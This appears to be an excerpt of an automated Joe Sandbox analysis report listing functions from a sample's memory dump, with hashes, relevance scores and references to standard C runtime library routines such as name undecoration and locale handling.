Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction ID: 6edc1f77bc014f77afb1dd4525fcd7db61d9a3eb149a076bd6fc7a55924a73f3
Opcode Fuzzy Hash: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction Fuzzy Hash: D9C08C72529208EFD70DCB84D613F5AB3FCE704758F10409CE00293780C67DAB00CA58

Function 00AFD382 Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction ID: 5941d710df6caaa93d6ffa2de60dce8e613dec4f923ccdd24a2439a3e016513d
Opcode Fuzzy Hash: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction Fuzzy Hash: DAA002315569D48ECE53D7158260F207BB8A741A41F0504D1E491C6863C11CDA50D950

Function 00B1E556 Relevance: 54.3, APIs: 36, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

APIs

operator+.LIBCMT ref: 00B1E571

Part of subcall function 00B1B680: DName::DName.LIBCMT ref: 00B1B693
Part of subcall function 00B1B680: DName::operator+.LIBCMT ref: 00B1B69A

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: NameName::Name::operator+operator+
String ID:
API String ID: 2937105810-0
Opcode ID: 2d53c3902569e9784ef8fb12d3ca9c9f454977bad3efebfb259204c3ad6fcad2
Instruction ID: 268fae8304498e98c0b71508c5a681dbc1354fd3eed01714cfa900f0dd532e36
Opcode Fuzzy Hash: 2d53c3902569e9784ef8fb12d3ca9c9f454977bad3efebfb259204c3ad6fcad2
Instruction Fuzzy Hash: 12D1FE71900209AFDB10DFA8C895AEEBBF5EF14304F9440A9F511E7292EB34EA85CB51

Function 00B1F29E Relevance: 27.3, APIs: 18, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getECSUDataType.LIBCMT ref: 00B1F43D
DName::operator=.LIBCMT ref: 00B1F4EB
DName::operator+=.LIBCMT ref: 00B1F516
DName::DName.LIBCMT ref: 00B1F57B
DName::operator+.LIBCMT ref: 00B1F582
DName::DName.LIBCMT ref: 00B1F5A5
DName::operator+.LIBCMT ref: 00B1F5AC
DName::operator+=.LIBCMT ref: 00B1F5B8
DName::operator=.LIBCMT ref: 00B1F5DF
DName::operator+=.LIBCMT ref: 00B1F5F1
UnDecorator::getPtrRefType.LIBCMT ref: 00B1F61A
operator+.LIBCMT ref: 00B1F62C

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Decorator::getNameName::Name::operator+Name::operator=Type$Dataoperator+
String ID:
API String ID: 1129569759-0
Opcode ID: 30b1e72d88142c82e2d5552c373b89b4dacb89b85ea205a481f88f5b85183262
Instruction ID: 8f640954555bba8080ad09ac46e870368d4fe88f89e7a7ef5bddbf80454d7685
Opcode Fuzzy Hash: 30b1e72d88142c82e2d5552c373b89b4dacb89b85ea205a481f88f5b85183262
Instruction Fuzzy Hash: 3D91B17190020BAACF24DF68D885AFD77F5EF15312FA482F6E411D6292D7349BC0CA55

Function 00B24B14 Relevance: 24.1, APIs: 16, Instructions: 95COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00B24B2D
__calloc_crt.LIBCMT ref: 00B24B51
_free.LIBCMT ref: 00B24B5F
__calloc_crt.LIBCMT ref: 00B24B6D
_free.LIBCMT ref: 00B24B7D
_free.LIBCMT ref: 00B24B83
__copytlocinfo_nolock.LIBCMT ref: 00B24B92
__setlocale_nolock.LIBCMT ref: 00B24B9F
___removelocaleref.LIBCMT ref: 00B24BAB
___freetlocinfo.LIBCMT ref: 00B24BB2
_free.LIBCMT ref: 00B24BB8
__setmbcp_nolock.LIBCMT ref: 00B24BCA
_free.LIBCMT ref: 00B24BD8
___removelocaleref.LIBCMT ref: 00B24BDF
___freetlocinfo.LIBCMT ref: 00B24BE6
_free.LIBCMT ref: 00B24BEC

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref$__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 2193103758-0
Opcode ID: 784abcef5afcd593a1ca4234ae08e44cf487d9407e5e4ef41eebf28f0038ada9
Instruction ID: c09657cf4936d55d39b0d4de2e4db04ca3c8e314224f3d26aeb6d4a7423dfbaa
Opcode Fuzzy Hash: 784abcef5afcd593a1ca4234ae08e44cf487d9407e5e4ef41eebf28f0038ada9
Instruction Fuzzy Hash: 7921F735104621ABEB217F29F856E5BB7E4DF95B50B2084ADF48C96562DF31CE408650

Function 00B1B942 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getArgumentList.LIBCMT ref: 00B1B967

Part of subcall function 00B1B502: Replicator::operator[].LIBCMT ref: 00B1B585
Part of subcall function 00B1B502: DName::operator+=.LIBCMT ref: 00B1B58D

DName::operator+.LIBCMT ref: 00B1B9C0
DName::DName.LIBCMT ref: 00B1BA18

Strings

(;C, xrefs: 00B1BA02
4;C, xrefs: 00B1B9FB
8;C, xrefs: 00B1B9B3
D;C, xrefs: 00B1B9AC

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: (;C$4;C$8;C$D;C
API String ID: 834187326-2621726175
Opcode ID: a0090458237679d067ced1afd8bb8c1e263f460860677f0579ee007d7b594e8e
Instruction ID: d5f200a1ba77e18201d28353aef04ff43eabe6b614665beb85132de5b57e9475
Opcode Fuzzy Hash: a0090458237679d067ced1afd8bb8c1e263f460860677f0579ee007d7b594e8e
Instruction Fuzzy Hash: 81218030601248AFCB11DF1CD444DE9BBF4FF1938AB8480A9E945DB366EB34E982CB44

Function 00ADA318 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00ADA437
___TypeMatch.LIBVCRUNTIME ref: 00ADA545
CallUnexpected.LIBVCRUNTIME ref: 00ADA6B2

Strings

csm, xrefs: 00ADA3C2
csm, xrefs: 00ADA46E
csm, xrefs: 00ADA355

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: b33443585464a3503e9f3909940f3d642895a70bd016311c7d91499739c8fcc2
Instruction ID: 9795ef4c3020d058143863cf28674e21c68d229141b6f6e429cf1d627e9d2530
Opcode Fuzzy Hash: b33443585464a3503e9f3909940f3d642895a70bd016311c7d91499739c8fcc2
Instruction Fuzzy Hash: 42B18875800209EFCF25DFA4D9819AEB7B5BF28310F18815BE8166B312D771EA51CF92

Function 00B1D2DB Relevance: 10.6, APIs: 7, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 00B1D2E5
DName::DName.LIBCMT ref: 00B1D2F1

Part of subcall function 00B1AFBC: DName::doPchar.LIBCMT ref: 00B1AFED

UnDecorator::getScopedName.LIBCMT ref: 00B1D330
DName::operator+=.LIBCMT ref: 00B1D33A
DName::operator+=.LIBCMT ref: 00B1D349
DName::operator+=.LIBCMT ref: 00B1D355
DName::operator+=.LIBCMT ref: 00B1D362

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID:
API String ID: 1480779885-0
Opcode ID: 23bb66ba7c0c68d0bfc5bce08223bbb55780766e01e2ba2a51e198509357868b
Instruction ID: d82f73bbb15b1c42539ba67067051c98d992da15b539da164dfce49311f5532a
Opcode Fuzzy Hash: 23bb66ba7c0c68d0bfc5bce08223bbb55780766e01e2ba2a51e198509357868b
Instruction Fuzzy Hash: 3B11C271900208AFC715EB68D856FEEBBF0EF15302F8440D9E0169B2E6DB30AAC5C756

Function 00AEF0A8 Relevance: 9.3, APIs: 6, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc62ade722191e7a7c9ac0cdad7ec648107d1cc5f4f4dbf60eab7db72679f5a8
Instruction ID: 38d34e5ee535946639330442f90581fdd52e305b589ff49dd74059970f496d92
Opcode Fuzzy Hash: dc62ade722191e7a7c9ac0cdad7ec648107d1cc5f4f4dbf60eab7db72679f5a8
Instruction Fuzzy Hash: 42B11875A04689DFDB15DFAAC880BAE7BB1EF45300F1481A9E511AB392C7709E42CB61

Function 00B1F2FB Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00B1F4EB

Part of subcall function 00B1B2BC: DName::doPchar.LIBCMT ref: 00B1B2E5

DName::DName.LIBCMT ref: 00B1F57B
DName::operator+.LIBCMT ref: 00B1F582
DName::DName.LIBCMT ref: 00B1F5A5
DName::operator+.LIBCMT ref: 00B1F5AC
DName::operator+=.LIBCMT ref: 00B1F5B8
DName::operator=.LIBCMT ref: 00B1F5DF
DName::operator+=.LIBCMT ref: 00B1F5F1
DName::operator=.LIBCMT ref: 00B1F605
UnDecorator::getPtrRefType.LIBCMT ref: 00B1F61A
operator+.LIBCMT ref: 00B1F62C

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: c5ff01363cc5be2414fde705ddc2477139869efe325205967f2b79d65d07f3e5
Instruction ID: 72722d46d56616912caba8ea8b74b6fc27a369971feb1d3db79e1b98a8c8b1cc
Opcode Fuzzy Hash: c5ff01363cc5be2414fde705ddc2477139869efe325205967f2b79d65d07f3e5
Instruction Fuzzy Hash: 1E216D76A0010B9ACF18EEBCC9499FDBBF6EB14301F9442F9E211E6655DB349F81CA10

Function 00B1F319 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00B1F4EB

Part of subcall function 00B1B2BC: DName::doPchar.LIBCMT ref: 00B1B2E5

DName::DName.LIBCMT ref: 00B1F57B
DName::operator+.LIBCMT ref: 00B1F582
DName::DName.LIBCMT ref: 00B1F5A5
DName::operator+.LIBCMT ref: 00B1F5AC
DName::operator+=.LIBCMT ref: 00B1F5B8
DName::operator=.LIBCMT ref: 00B1F5DF
DName::operator+=.LIBCMT ref: 00B1F5F1
DName::operator=.LIBCMT ref: 00B1F605
UnDecorator::getPtrRefType.LIBCMT ref: 00B1F61A
operator+.LIBCMT ref: 00B1F62C

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: 04bf772949b8752548d84cbfff0da56238cecf44966dde39219307ebaddb036f
Instruction ID: f97128b60f68ead8df5afe98db3224a7da0a4a0d5a0dd31694c6df3e2bc52c89
Opcode Fuzzy Hash: 04bf772949b8752548d84cbfff0da56238cecf44966dde39219307ebaddb036f
Instruction Fuzzy Hash: 8C216D76A0010B9ACF18EEBCC9499FDBBF6EB14301F9442F9E211E6655DB349B81CA10

Function 00B1F305 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00B1F4EB

Part of subcall function 00B1B2BC: DName::doPchar.LIBCMT ref: 00B1B2E5

DName::DName.LIBCMT ref: 00B1F57B
DName::operator+.LIBCMT ref: 00B1F582
DName::DName.LIBCMT ref: 00B1F5A5
DName::operator+.LIBCMT ref: 00B1F5AC
DName::operator+=.LIBCMT ref: 00B1F5B8
DName::operator=.LIBCMT ref: 00B1F5DF
DName::operator+=.LIBCMT ref: 00B1F5F1
DName::operator=.LIBCMT ref: 00B1F605
UnDecorator::getPtrRefType.LIBCMT ref: 00B1F61A
operator+.LIBCMT ref: 00B1F62C

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: 41adee5c73aa1e88243f3158e2c40ed16f52e1afc6b9bf2c17e63ec85b627ffa
Instruction ID: cc153ba0fcc411b2a878bb847d7039e8f95664726f7eb0c23775f2b8b7a02489
Opcode Fuzzy Hash: 41adee5c73aa1e88243f3158e2c40ed16f52e1afc6b9bf2c17e63ec85b627ffa
Instruction Fuzzy Hash: 78216F76A0010B9ACF18EEBCC9499FDBBF6EB14301F9442F9E611D6655DB34DB81CA10

Function 00B1F30F Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00B1F4EB

Part of subcall function 00B1B2BC: DName::doPchar.LIBCMT ref: 00B1B2E5

DName::DName.LIBCMT ref: 00B1F57B
DName::operator+.LIBCMT ref: 00B1F582
DName::DName.LIBCMT ref: 00B1F5A5
DName::operator+.LIBCMT ref: 00B1F5AC
DName::operator+=.LIBCMT ref: 00B1F5B8
DName::operator=.LIBCMT ref: 00B1F5DF
DName::operator+=.LIBCMT ref: 00B1F5F1
DName::operator=.LIBCMT ref: 00B1F605
UnDecorator::getPtrRefType.LIBCMT ref: 00B1F61A
operator+.LIBCMT ref: 00B1F62C

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: fd9685c0f8e99762da6b47b8c6f7231e6a09b9523451af01b9522ecad555d412
Instruction ID: 9a269db1dc459d67d001310a6f5686732e5ccef4c8da69947f19ed09af1d4ffe
Opcode Fuzzy Hash: fd9685c0f8e99762da6b47b8c6f7231e6a09b9523451af01b9522ecad555d412
Instruction Fuzzy Hash: CB218E76A0010B9ACF18EEBCC9499FDBBF6EB14301F9442F9E211E6655DB34DB81CA10

Function 00AD50F8 Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AD50FF
std::_Lockit::_Lockit.LIBCPMT ref: 00AD5109
int.LIBCPMT ref: 00AD5120

Part of subcall function 00AD16B4: std::_Lockit::_Lockit.LIBCPMT ref: 00AD16C5
Part of subcall function 00AD16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00AD16DF

std::_Facet_Register.LIBCPMT ref: 00AD515A
std::_Lockit::~_Lockit.LIBCPMT ref: 00AD517A
Concurrency::cancel_current_task.LIBCPMT ref: 00AD5187

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Register
String ID:
API String ID: 55977855-0
Opcode ID: e0e1faea0bae0c4e6e70105d70682762b79d5c550206f12fde81c6d89464a936
Instruction ID: cf2739542bef8a6b5715c580ea788bd64e574bec0165c6e190a0a05a16fe6cfb
Opcode Fuzzy Hash: e0e1faea0bae0c4e6e70105d70682762b79d5c550206f12fde81c6d89464a936
Instruction Fuzzy Hash: 0E11BE769006149BCB15FBA4DA057BEB7B4AF88320F24064AF402A7391DFB49E01CB95

Function 00AD9FAA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00AD9FA1,00AD86C8,00AD784F), ref: 00AD9FB8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00AD9FC6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00AD9FDF
SetLastError.KERNEL32(00000000,00AD9FA1,00AD86C8,00AD784F), ref: 00ADA031

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: b28d6c1f8a9e737a84d884fd394b43557ac5612116901040554a3cbf59a19d28
Instruction ID: 16da74163b5f387196692af125567c3a7608b392a46173f8b5902c42ed15c3e1
Opcode Fuzzy Hash: b28d6c1f8a9e737a84d884fd394b43557ac5612116901040554a3cbf59a19d28
Instruction Fuzzy Hash: FC01F133119211EEE664A7F67E86B6A3A45FB26378320032BF412C13E1EF118C029259

Function 00B23FAB Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 00B23F02

Part of subcall function 00B19D30: __mtinitlocknum.LIBCMT ref: 00B19D46
Part of subcall function 00B19D30: __amsg_exit.LIBCMT ref: 00B19D52

_free.LIBCMT ref: 00B23F29
__lock.LIBCMT ref: 00B23F42
___removelocaleref.LIBCMT ref: 00B23F51
___freetlocinfo.LIBCMT ref: 00B23F6A
_free.LIBCMT ref: 00B23F87

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: __lock_free$___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 1181530324-0
